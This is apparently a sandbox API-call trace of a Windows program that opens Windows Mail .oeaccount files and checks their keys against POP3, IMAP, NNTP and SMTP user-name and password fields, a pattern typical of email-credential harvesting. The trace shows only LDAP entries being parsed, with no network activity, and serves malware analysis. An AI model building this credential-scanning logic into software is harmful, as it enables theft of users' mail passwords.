[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1
[0085.199] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1
[0085.200] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1
[0085.200] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1
[0085.200] strlen (_Str="type") returned 0x4
[0085.200] strlen (_Str="SZ") returned 0x2
[0085.200] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.200] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
[0085.200] strlen (_Str="VeriSign Internet Directory Service") returned 0x23
[0085.200] strlen (_Str="VeriSign Internet Directory Service") returned 0x23
[0085.200] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
[0085.200] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
[0085.200] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
[0085.201] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
[0085.201] strlen (_Str="type") returned 0x4
[0085.201] strlen (_Str="SZ") returned 0x2
[0085.201] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1
[0085.201] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1
[0085.201] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1
[0085.201] strlen (_Str="type") returned 0x4
[0085.201] strlen (_Str="SZ") returned 0x2
[0085.201] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.201] strcmp (_Str1="LDAP_URL", _Str2="Account_Name") returned 1
[0085.201] strcmp (_Str1="LDAP_URL", _Str2="POP3_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Server") returned 1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="POP3_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="IMAP_User_Name") returned 1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="NNTP_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="SMTP_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="POP3_Password2") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Password2") returned 1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Password2") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Password2") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Email_Address") returned -1
[0085.202] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Email_Address") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Port") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Port") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Port") returned 1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Port") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Secure_Connection") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Secure_Connection") returned -1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Secure_Connection") returned 1
[0085.202] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Secure_Connection") returned -1
[0085.202] strlen (_Str="type") returned 0x4
[0085.202] strlen (_Str="DWORD") returned 0x5
[0085.202] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1
[0085.202] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1
[0085.203] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1
[0085.203] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1
[0085.203] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1
[0085.203] strlen (_Str="type") returned 0x4
[0085.203] strlen (_Str="DWORD") returned 0x5
[0085.203] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1
[0085.203] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1
[0085.203] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1
[0085.203] strlen (_Str="type") returned 0x4
[0085.203] strlen (_Str="DWORD") returned 0x5
[0085.203] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1
[0085.204] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1
[0085.207] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1
[0085.207] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1
[0085.208] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1
[0085.208] strlen (_Str="type") returned 0x4
[0085.208] strlen (_Str="SZ") returned 0x2
[0085.208] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1
[0085.208] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1
[0085.208] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1
[0085.208] strlen (_Str="type") returned 0x4
[0085.208] strlen (_Str="DWORD") returned 0x5
[0085.208] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1
[0085.208] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1
[0085.209] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1
[0085.209] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1
[0085.209] strlen (_Str="type") returned 0x4
[0085.209] strlen (_Str="SZ") returned 0x2
[0085.209] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="Account_Name") returned 1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Server") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Server") returned 1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Server") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Server") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="POP3_User_Name") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_User_Name") returned 1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_User_Name") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_User_Name") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Password2") returned 1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Password2") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Email_Address") returned -1
[0085.209] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Email_Address") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Port") returned 1
[0085.209] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Port") returned -1
[0085.209] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Secure_Connection") returned -1
[0085.210] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Secure_Connection") returned -1
[0085.210] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Secure_Connection") returned 1
[0085.210] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Secure_Connection") returned -1
[0085.210] CloseHandle (hObject=0xec) returned 1
[0085.210] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 1
[0085.210] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.210] strlen (_Str="account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount") returned 0x37
[0085.210] _mbscpy (in: param_1=0x12efe8, param_2=0x12f12c | out: param_1=0x12efe8) returned 0x12efe8
[0085.210] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.210] _mbscat (in: param_1=0x12efe8, param_2=0x414078 | out: param_1=0x12efe8) returned 0x12efe8
[0085.210] _mbscat (in: param_1=0x12efe8, param_2=0x12eed4 | out: param_1=0x12efe8) returned 0x12efe8
[0085.210] CreateFileA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows mail\\account{a9b27062-9101-460a-98c0-c2aa26b0f943}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xec
[0085.211] GetFileSize (in: hFile=0xec, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c8
[0085.211] SetFilePointer (in: hFile=0xec, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
[0085.211] ReadFile (in: hFile=0xec, lpBuffer=0x1214c68, nNumberOfBytesToRead=0x6c6, lpNumberOfBytesRead=0x12ed24, lpOverlapped=0x0 | out: lpBuffer=0x1214c68*, lpNumberOfBytesRead=0x12ed24*=0x6c6, lpOverlapped=0x0) returned 1
[0085.278] wcslen (_String="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363
[0085.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x24fab0, cbMultiByte=868, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", lpUsedDefaultChar=0x0) returned 868
[0085.278] strlen (_Str="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363
[0085.278] strlen (_Str="version") returned 0x7
[0085.278] strlen (_Str="1.0") returned 0x3
[0085.278] strlen (_Str="encoding") returned 0x8
[0085.278] strlen (_Str="utf-16") returned 0x6
[0085.278] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.278] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.279] strlen (_Str="type") returned 0x4
[0085.279] strlen (_Str="DWORD") returned 0x5
[0085.279] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1
[0085.279] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1
[0085.279] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1
[0085.279] strlen (_Str="type") returned 0x4
[0085.279] strlen (_Str="SZ") returned 0x2
[0085.279] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.279] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
[0085.279] strlen (_Str="Active Directory") returned 0x10
[0085.279] strlen (_Str="Active Directory") returned 0x10
[0085.279] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
[0085.279] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
[0085.279] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
